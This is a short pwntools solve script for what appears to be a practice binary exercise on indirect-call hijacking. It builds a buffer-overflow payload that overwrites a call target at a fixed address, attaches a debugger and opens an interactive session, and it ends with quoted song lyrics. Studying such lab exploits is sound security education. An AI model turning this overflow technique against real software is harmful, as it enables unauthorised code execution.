# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_IndrCall-01-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
bof_payload.add_int64(0x10, 0x400537)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: God Damn                                 |
# +------------------------------------------------+
# | Hey Can't you see                              |
# | we're tripping on the wire                     |
# | walking through the candyland                  |
# | of our desires                                 |
# +------------------------------------------------+

